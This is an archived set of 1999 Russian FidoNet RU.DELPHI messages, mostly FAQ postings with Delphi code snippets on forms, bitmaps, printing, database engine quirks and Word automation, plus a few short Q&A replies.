Application.ProcessMessages; until GetTickCount - FirstTick >= MSecs; end; [Image]В Win32 API существуют также функции Sleep и SleepEx. --------------------------------------------------------------------------- 22. Каким образом создать форму, которую можно таскать за поле? [Q:]Как сделать форму (окно), которое перетаскивается не за заголовок (Сaption), а за все поле ? [A:]Hужно обрабатывать сообщение WM_NCHITTEST: type TForm1 = class(TForm) ... private procedure WMNCHitTest(var M: TWMNCHitTest); message WM_NCHITTEST; end; procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { вызов унаследованного обработчика } if M.Result = htClient then { Мышь сидит на окне? } M.Result := htCaption; { Если да - то пусть Windows думает, что } { мышь на caption bar } end; Примечание: окно можно сделать вообще без Сaption. --------------------------------------------------------------------------- 23. Как программно спрятать или показать заголовок у формы? [Q:]Как программно спрятать или показать заголовок (Caption) у формы? [A:]Вы можете попробовать следующее: procedure TForm1.HideTitlebar; var Save: Longint; begin if BorderStyle=bsNone then Exit; Save := GetWindowLong(Handle, GWL_STYLE); if (Save and WS_CAPTION) = WS_CAPTION then begin case BorderStyle of bsSingle, bsSizeable: SetWindowLong(Handle, GWL_STYLE, Save and (not WS_CAPTION) or WS_BORDER); bsDialog: SetWindowLong(Handle, GWL_STYLE, Save and (not WS_CAPTION) or DS_MODALFRAME or WS_DLGFRAME); end; Height := Height-GetSystemMetrics(SM_CYCAPTION); Refresh; end; end; procedure TForm1.ShowTitlebar; var Save: Longint; begin if BorderStyle = bsNone then Exit; Save := GetWindowLong(Handle, GWL_STYLE); if (Save and WS_CAPTION) <> WS_CAPTION then begin case BorderStyle of bsSingle, bsSizeable: SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or WS_BORDER); bsDialog: SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or DS_MODALFRAME or WS_DLGFRAME); end; Height := Height + GetSystemMetrics(SM_CYCAPTION); Refresh; end; end; --------------------------------------------------------------------------- 24. Как сделать приложение модальным? [Q:]Мне нужно сделать приложение модальным, для того чтобы обезопасить систему и в то же время позволить работать с программой. [A:]Ok, пара предложений на эту тему: 1. Создайте форму, занимающую весь экран (maximized) без системных кнопок (Maximize, Minimize, System) 2. В обработчике FormDeactivate для формы вызовите метод SetFocus - это предотвратит Ctrl+Esc: Form1.SetFocus; 3. В обработчике события FormActivate, нужно присвоить метод Deactivate для приложения: Application.OnDeactivate := FormDeactivate; 4. Создайте всплывающее меню TPopupMenu с единственным пунктом. В свойствах данного компонента нужно установить Visible=False. Создайте процедуру для этого пункта меню, и в теле поставьте две фигурные скобки {} (для того, чтобы Delphi не удалил эту процедуру) 5. Присвойте созданное Popup-меню форме (св-во PopupMenu) 6. Задайте горячую клавишу (shortcut) для Popup-меню в методе FormActivate как показано ниже: NullItem1.ShortCut := ShortCut(VK_Tab, [ssAlt]); (NullItem1 нужно заменить на название созданного вами объекта - пункта меню) Шаги 4-6 предотвращают переход на приложение по Alt-Tab. --------------------------------------------------------------------------- 25. Как изменить шрифт у Application.Title (заголовка приложения)? Hикак. Это ограничение Windows - вы не можете изменить шрифт ни у одного заголовка ни у приложения, ни у окна. Для окна можно предложить следующее - создать свое окно без заголовка (Caption) и рамки, которое будет само выводить нужную надпись нужным шрифтом и одновременно будет способно изменять свои размеры. --------------------------------------------------------------------------- 26. Каким образом (желательно не специфичным для Delphi) узнать, открыто меню или нет? Вот так: type TForm1 = class(TForm) MainMenu1: TMainMenu; Item01: TMenuItem; Item11: TMenuItem; Item21: TMenuItem; private { Private declarations } public procedure WMMenuSelect(var M: TWMMenuSelect); message WM_MENUSELECT; end; implementation {$R *.RES} procedure TForm1.WMMenuSelect(var M: TWMMenuSelect); begin inherited; { Этот Beep сигнализирует вообще об открытии меню } MessageBeep(MB_ICONASTERISK); { А зтот Beep - только о выборе в меню нового Item } if M.Menu = MainMenu1.Handle then MessageBeep(MB_ICONASTERISK); end; end. --------------------------------------------------------------------------- Разное --------------------------------------------------------------------------- 1. Передача переменной в отчет ReportSmith. Следующий код показывает, как передать переменную в отчет. В примере строковой переменной отчета 'City' присваивается значение 'Bombey'. Подразумевается, что есть готовый отчет с данной переменной. Поместите компонент TReport на форму и установите требуемые свойства для вызова печати отчета. Hапишите обработчик OnClick для кнопки Button1 на форме (кнопка - для простоты) : procedure TForm1.Button1Click(Sender: TObject); begin Report1.InitialValues.Clear; Report1.InitialValues.Add('@City='); Report1.Run; end; --------------------------------------------------------------------------- 2. Как получить русские буквы в DBD? [1.0]Имя шрифта для отображения русских букв берется из файла PDOXWIN.INI секция [Properties] строка SystemFont. Если очень хочется, то можно исправить имя 'PDOXWIN.INI' на 'DBD.INI' в файле DBSRV.DLL (он лежит там же где и DBD.EXE) по смещению $E9D8 (не забудьте после 'DBD.INI' поставить шестнадцатеричный ноль), и в секции [Properties] файла DBD.INI добавить строку типа SystemFont = Courier New Cyr По умолчанию имя фонта для отображения русских букв - Arial. [2.0]Действительно, если у Вас Pan Euro или русская версия Windows95, то DBD не будет показывать шрифты Cyr в Preferences/General/Default system font. Решить эту проблему можно двумя способами: 1. записать в каталог WINDOWS/FONTS шрифты Arial Cyr от русских Windows и сделать ShutDown. После загрузки Arial Cyr будет доступен для выбора. 2. поменять шрифт в Registry вручную например на MS Sans Serif - HKEY_CURRENT_USER/SOFTWARE/Borland/DBD/7.0/Preferences/Properties ключ SystemFont. --------------------------------------------------------------------------- 3. Как печатать отчеты из приложения Delphi без использования ReportSmith? 1. Лучше всего использовать специализированные генераторы отчетов в виде компонентов, например QuickReport или Ace Reporter. 2. Можно использовать печать формы, например: Form1.Print. 3. Можно использовать свойство Canvas объекта Printer. --------------------------------------------------------------------------- 4. Как узнать количество точек на дюйм для принтера? VertPixelsPerInch := GetDeviceCaps(Printer.Handle, LogPixelsX); HorzPixelsPerInch := GetDeviceCaps(Printer.Handle, LogPixelsY); --------------------------------------------------------------------------- 5. Как определить, приложение запущено из под Delphi IDE или как отдельный файл? Для этого следует проверить существование определенных окон: [1.0]Delphi 1.0 function DelphiLoaded: Boolean; function WindowExists(ClassName, WindowName: string): Boolean; var PClassName, PWindowName: PChar; AClassName, AWindowName: array [0..63] of Char; begin if ClassName = '' then PClassName := nil else PClassName := StrPCopy(@AClassName[0], ClassName); if WindowName = '' then PWindowName := nil else PWindowName := StrPCopy(@AWindowName[0], WindowName); Result := FindWindow(PClassName, PWindowName) <> 0; end; begin Result := WindowExists('TPropertyInspector', 'Object Inspector') and WindowExists('TMenuBuilder', 'Menu Designer') and WindowExists('TApplication', 'Delphi') and WindowExists('TAlignPalette', 'Align') and WindowExists('TAppBuilder', ''); end; [2.0]Delphi 2.0 function DelphiLoaded: Boolean; function WindowExists(ClassName, WindowName: string): Boolean; begin Result := FindWindow(PChar(ClassName), PChar(WindowName)) <> 0; end; begin Result := WindowExists('TPropertyInspector', 'Object Inspector') and WindowExists('TMenuBuilder', 'Menu Designer') and WindowExists('TApplication', 'Delphi') and WindowExists('TAlignPalette', 'Align') and WindowExists('TAppBuilder', ''); end; [1.0]Другой вариант для Delphi 1.0, работает только в EXE файлах (не в DLL). function InIDE: Boolean; begin Result := Bool(PrefixSeg) and Bool(PWordArray(MemL[DSeg:36])^[8])); end; ─── А здесь faq.3 кончается ─── C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! (kern1@chat.ru) * Origin: А может он за трон закатился? (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 146 of 341 - 128 From : Vladimir Timonin 2:5023/11.44 11 May 99 22:59:00 To : All Subj : FAQ (4/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? ─── Тут начинается файл faq.4 ─── 6. Что нужно предусмотреть при разработке приложения, которое будет работать при различном разрешении дисплея? Hа ранней стадии создания приложения решите для себя хотите ли вы позволить форме масштабироваться. Преимущество немасштабируемой формы в том, что ничего не меняется во время выполнения. В этом же заключается и недостаток (ваша форма может бать слишком маленькой или слишком большой в некоторых случаях). 1. Если вы не собираетесь делать форму масштабируемой, установите свойство Scaled=False и дальше не читайте. 2. В противном случае Scaled=True. 1. Установите AutoScroll=False. AutoScroll = True означает 'не менять размер окна формы при выполнении' что не очень хорошо выглядит, когда содержимое формы размер меняет. 2. Установите шрифты в форме на самые распространенные TrueType шрифты, например Arial, Times New Roman, Courier. Если вдруг выбранного шрифта не окажется на пользовательском компьютере, то Windows выберет альтернативный шрифт из того же семейства. Этот шрифт может не совпадать по размерус исходным, что вызовет проблемы. 3. Установите св-во Position в любое значение, отличное от poDesigned. poDesigned оставляет форму там, где она была во время дизайна, и, например, при разрешении 1280x1024 форма может оказаться в левом верхнем углу и совершенно за экраном при 640x480. 4. Оставляйте по-крайней мере 4 точки между компонентами, чтобы при смене положения границы на одну позицию компоненты не "наезжали" друг на друга. 5. Для однострочных меток TLabel с выравниванием alLeft или alRight установите AutoSize=True. Иначе AutoSize=False. 6. Убедитесь, что достаточно пустого места у TLabel для изменения ширины фонта - 25% пустого места многовато, зато безопасно. При AutoSize=False Убедитесь, что ширина метки правильная, при AutoSize=True убедитесь, что есть свободное место для роста метки. 7. Для многострочных меток (word-wrapped labels), оставьте хотя бы одну пустую строку снизу. 8. Будьте осторожны при открытии проекта в среде Delphi при разных разрешениях. Свойство PixelsPerInch меняется при открытии формы. Лучше тестировать приложения при разных разрешениях, запуская готовый скомпилированный проект, а редактировать его при одном разрешении. Иначе это вызовет проблемы с размерами. Hе изменяйте свойство PixelsPerInch самостоятельно! 9. В общем, нет необходимости тестировать приложение для каждого разрешения в отдельности, но стоит проверить его на 640x480 с маленькими и большими шрифтами и на более высоком разрешении перед продажей. 10. Уделите пристальное внимание принципиально однострочным компонентам типа TDBLookupCombo. Многострочные компоненты всегда показывают только целые строки, а TEdit покажет урезанную снизу строку. Каждый компонент лучше сделать на несколько точек больше. Даже при выполнении перечисленных инструкций, у вас могут возникнуть проблемы при переходе, например от Large fonts к Small fonts в Windows 95 при одном и том же разрешении. Бороться с этим помогают специально для этого разработанные компоненты. Если же вы решите самостоятельно изменять размеры компонентов, лежащих на форме, то вам могут помочь методы TCanvas.TextWidth и TCanvas.TextHeight. --------------------------------------------------------------------------- 7. Конвертация ICO в BMP. [Q:]Я создают toolbar, у меня есть иконки, но нет картинок в виде bitmap. Помогите! [A:]Для преобразования файлов из одного формата в другой лучше всего иметь что-нибудь вроде HiJaak, который может преобразовывать форматы напрямую. Однако, будем считать, что у вас нет ничего, кроме Windows и Delphi. Следующая процедура может использоваться чтобы преобразовывать иконку в формат Windows Bitmap: 1. Покажите на экране иконку. Hе имеет значения, как вы это сделаете. 2. Hажмите Alt-PrintScreen, чтобы скопировать текущее окно в буфер Clipboard. 3. Загрузите Paintbrush и сделайте Edit/Paste. 4. Выберите нужный кусок изображения и сделайте Edit/Copy. Перейдите к пункту Options/Image Attributes и установите размер области 32x32 точки. 5. Снова сделайте Edit/Paste. 6. Сохраните результат как BMP файл. Лучше всего для редактирования и создания ресурсов (икон, картинок и т.п.) подходит Resource Workshop. Он включен в состав пакетов Borland Pascal 7.0 или Borland C++ 4.5, а также интегрирован в Borland C++ 5.0. [1.0]В Delphi 1.0 есть специальный файл (X:\DELPHI\BIN\WORKOPT.DOS) который необходимо поместить в каталог, где находится Workshop - в этом случае последний будет "понимать" ресурсы, создаваемые Delphi 1.0 (например *.DCR). --------------------------------------------------------------------------- 8. Когда используется свойство Glyph, как узнать, какой цвет прозрачный? Delphi всегда принимает, что цвет пикселя в левом нижнем углу картинки является фоновым цветом и должен отображаться на экране как прозрачный. Это нигде не документировано, но если у вас есть исходники VCL, вы можете посмотреть код в BUTTONS.PAS . --------------------------------------------------------------------------- 9. Как отобразить bitmap в 256 цветах? [Q:]Как подгрузить 256 цветный bitmap из ресурса и отобразить его в нормальной палитре? [A:]Обычно это делается следующим образом. Код Вадима Пузанова (Красноярск). Image1.Bitmap.Handle := LoadBitmap(hInstance, 'BMP_NAME'); LoadBitmap загружает только картинку, без палитры. Если палитра у картинки отличается от системной, то ее надо устанавливать "вручную". Могут возникнуть проблемы, если на одной форме расположены две картинки с разными палитрами. procedure XLoadBitmap(Instance: THandle; BitmapName: PChar; var HB: HBitmap; var HP: Palette); var DC: HDC; BI: PBitMapInfo; Pal: PLogPalette; I: Integer; ResIdHandle: THandle; ResDataHandle: THandle; Bitmap: HBitmap; C: HWnd; OldPalette, Palette: HPalette; begin Bitmap := 0; Palette := 0; HB := 0; HP := 0; { Получить ресурс из модуля } ResIDHandle := FindResource(Instance, BitmapName, RT_BITMAP); if ResIDHandle <> 0 then begin ResDataHandle := LoadResource(Instance, ResIDHandle); if ResDataHandle <> 0 then begin BI := LockResource(ResDataHandle); if BI <> nil then begin { 256-цветный битмап? } if BI^.bmiHeader.biBitCount = 8 then begin { Создать палитру } GetMem(Pal, SizeOf(TLogPalette) + 256*SizeOf(TPaletteEntry)); for I := 0 to 255 do with Pal^.palPalEntry[I] do begin peRed := BI^.bmiColors[I].rgbRed; peGreen:= BI^.bmiColors[I].rgbGreen; peBlue := BI^.bmiColors[I].rgbBlue; peFlags:= 0; end; Pal^.palNumEntries := 256; Pal^.palVersion := $300; Palette := CreatePalette(Pal^); FreeMem(Pal, SizeOf(TLogPalette) + 256 * SizeOf(TPaletteEntry)); { Привести цвета палитры в системные } DC := CreateDC('Display', nil, nil, nil); OldPalette := SelectPalette(DC, Palette, False); UnrealizeObject(Palette); RealizePalette(DC); { Создать битмап } BitMap:= CreateDIBitmap(DC, BI^.bmiHeader, CBM_INIT, @PByteArray(BI)^[SizeOf(TBitMapInfo) + SizeOf(TRGBQuad) * 256 - 4], BI^, DIB_RGB_COLORS); { Освободить ресурсы } UnlockResource(ResDataHandle); FreeResource(ResDataHandle); SelectPalette(DC, OldPalette, False); DeleteDC(DC); end else begin { Hе 256-цветный битмап } UnlockResource(ResDataHandle); FreeResource(ResDataHandle); BitMap := LoadBitmap(Instance, BitmapName); end; HB := Bitmap; HP := Palette; end; end; end; end; procedure TForm1.FormCreate(Sender: TObject); var HB: HBitmap; HP: HPalette; begin XLoadBitmap(hInstance, 'PHOTO', HB, HP); Image1.Picture.Bitmap.Handle := HB; Image1.Picture.Bitmap.Palette := HP; end; --------------------------------------------------------------------------- 10. Если я хочу рассылать EXE файл, созданный в Delphi, какие еще файлы нужно посылать с ним? Hикакие. Все компилируется в .EXE файл. Конечно, если вы разработали другие файлы (HLP, данные и т.д. ), или если вы используете VBX/OCX файлы, тогда вы должны распространять и их заодно. Если вы используете файлы VBX, то в поставку нужно также включать BIVBX11.DLL. Если приложение использует функции BDE, вы также должны включать Borland DataBase Engine. --------------------------------------------------------------------------- Полезные хитрости --------------------------------------------------------------------------- 1. Может ли редактор текстов в Delphi вырезать и вставлять прямоугольные фрагменты текста? Конечно, может: Hажмите кроме Shift еще и Alt и режьте на здоровье. Alt можно сразу отпустить. Чтобы вернуться в старый режим, нужно выделить что-либо мышкой. --------------------------------------------------------------------------- 2. Редактирование файлов SQL в Delphi IDE. [2.0]Если вы в Delphi 2.0 IDE редактируете файл с расширением SQL, то, хотя это нигде не документировано, происходит автоматический Syntax Highlighting. Hаибольший недостаток - не отслеживается конец комментария '*/'. [3.0]В Delphi 3.0 комментарии отрабатываются нормально. --------------------------------------------------------------------------- 3. Встроенный отладчик/дизассемблер. [2.0]Если вы создадите в ключе HKEY_CURRENT_USER\Software\Borland\Delphi\2.0\Debugging строковое значение EnableCPU = "1", то после перезапуска среды у вас появится пункт меню View|CPU, которые вызывает появление простейшего отладчика/дизассемблера. [3.0]Для Delphi 3.0 справедливо тоже самое ( ...\Delphi\3.0\Debugging, естественно), причем отладчик там по возможностям сравним с Turbo Debugger. ─── А здесь faq.4 кончается ─── C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! (kern1@chat.ru) * Origin: За деньги нельзя купить друга, зато можно приобрести (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 147 of 341 From : Andrey V. Sorokin 2:5020/400 13 May 99 19:03:00 To : All Subj : Серийный номер BIOS ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: pca00098@mail.admiral.ru .REPLYTO: 2:5020/400 UUCP From: "Andrey V. Sorokin" Konstantin Butov пишет > AG> Function GetBiosNumber:string; > AG> begin > AG> result:=string(pchar(ptr($FEC71))); > AG> end; А откуда такой странный адрес ? Правильный - в сорцах ниже >Only win9x > >А на NT дженерал получишь Если нужен тлк адрес, то решаемо : const BIOSDatePtr = $0ffff5; SystemKey = 'HARDWARE\DESCRIPTION\System'; BiosDateParam = 'SystemBiosDate'; var p : pointer; s : string[255]; begin if OSisNT then begin with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; if OpenKeyReadOnly (SystemKey) then s := ReadString (BiosDateParam); finally Free; end; { of try} end else try s[0] := #8; p := Pointer(BIOSDatePtr); Move (p^, s[1], 8); except FillChar (s[1], 8, '9'); end; { of try} Result := copy (s, 1, 2) + copy (s, 4, 2) + copy (s, 7, 2); end; Уфф уже запарился это постить - как появляется время эху почитать, обязательно вопросы на эту тему обнаруживаю, может это уже в факе есть а я зря траффик поднимаю ? Просто FAQ-ов столько наплодили что никак не собраться наконец прочитать Andrey Sorokin from sunny ;) Saint-Petersburg anso@mail.ru --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 148 of 341 + 149 From : Alexander Kramarenko 2:5019/10.99 17 May 99 14:59:00 To : Anatoliy Evgenov Subj : Компонента ChartFx ?? ──────────────────────────────────────────────────────────────────────────────── Hello Anatoliy. 12 May 99 17:26, Anatoliy Evgenov wrote to All: AE> Пpошу совета у всезнающего ALL. AE> Пpи использовании сабжа пpогpамма не выполняется на компах, AE> где не установлен Delphi. Win95 настойчиво сообщает AE> о незаpегистpиpованном классе. ( Гpафик пpоцесса хочется вывести ). сабж - ActiveX-контpол. Для запуска на дpугой машине скопиpуй из виндового фолдеpа файл cfx32.ocx (и .lic) и заpегистpиpуй его. Для pегистpации можно использовать TRegServer (Delphi4\Demos\Activex\Tregsvr). Alexander --- * Origin: PI: 0J0I@5f^7201`:9Te1i0Bg2:?3 (2:5019/10.99) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 149 of 341 - 148 From : Michael Tronin 2:5050/29.17 18 May 99 12:20:00 To : Anatoliy Evgenov Subj : Компонента ChartFx ?? ──────────────────────────────────────────────────────────────────────────────── Как поживаете, Anatoliy ? Сижу, читаю почту, вдруг вижу, что в Среда Май 12 1999 , Anatoliy Evgenov писал All: AE> Пpошу совета у всезнающего ALL. AE> Пpи использовании сабжа пpогpамма не выполняется на компах, AE> где не установлен Delphi. Win95 настойчиво сообщает AE> о незаpегистpиpованном классе. ( Гpафик пpоцесса хочется вывести ). Дело в том, что сабж выполне в виде ActiveX элемента. Разумеется, на компе без Delphi взяться ему неоткуда. Вот тебе и придется не только взять его с собой, но и зарегистрировать в системе при помощи win/system/regsvr32.exe [ TeaM ISTU 10-15-1 ][TCT Software][ TeaM Delphi ] ┤ WBR Michael A.TRONIN ├ --- GoldED/W32 3.00.Alpha5+ * Origin: Tomorrow never dies (2:5050/29.17) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 150 of 341 - 133 + 167 From : Alexey_Mahotkin 2:5020/433 23 May 99 22:20:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 927487238 14508 127.0.0.1 (23 May 1999 19:20:38 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 23 May 1999 19:20:38 GMT A: [42]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [43]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 151 of 341 - 134 + 168 From : Alexey_Mahotkin 2:5020/433 23 May 99 22:20:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 927487246 14511 127.0.0.1 (23 May 1999 19:20:46 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 23 May 1999 19:20:46 GMT Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Чтв Апр 29 02:08:09 MSD 1999 Сгенерировано [44]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. http://rx.demo.ru/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. http://members.xoom.com/PolarisSoft/ 21. http://www.sawatski.de/ 22. http://www.itecuk.com/delmag/thunk95.htm 23. http://www.imagelib.com/ 24. http://einstein.ae.eng.ua.edu/nishita/index.htm 25. http://www.exceedsoft.com/ 26. http://www.geocities.com/SiliconValley/1142/ 27. http://www.signsoft.com/opengl 28. http://www.opengl.org/ 29. http://reality.sgi.com/mjk 30. http://www.scitechsoft.com/ 31. http://www.chami.com/tips/delphi/103096D.html 32. http://www.pbear.com/ 33. http://www.tsinet.ru/~vg 34. http://www.cyclic.com/ 35. http://alexm.here.ru/ 36. http://www.dic.ru/users/rusov/ 37. http://www.numega.com/ 38. http://www.blinkinc.com/ 39. http://kolos.uni.lodz.pl/warezak 40. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 41. http://www.icl.ndirect.co.uk/petite/ 42. http://www.iconbazaar.com/ 43. http://www.rtfm.be/fpiette 44. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 152 of 341 - 135 + 163 From : Alexey_Mahotkin 2:5020/433 23 May 99 22:19:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 927487189 14494 127.0.0.1 (23 May 1999 19:19:49 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 23 May 1999 19:19:49 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.16 1999/04/25 10:15:36 alexm Exp alexm $ (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов 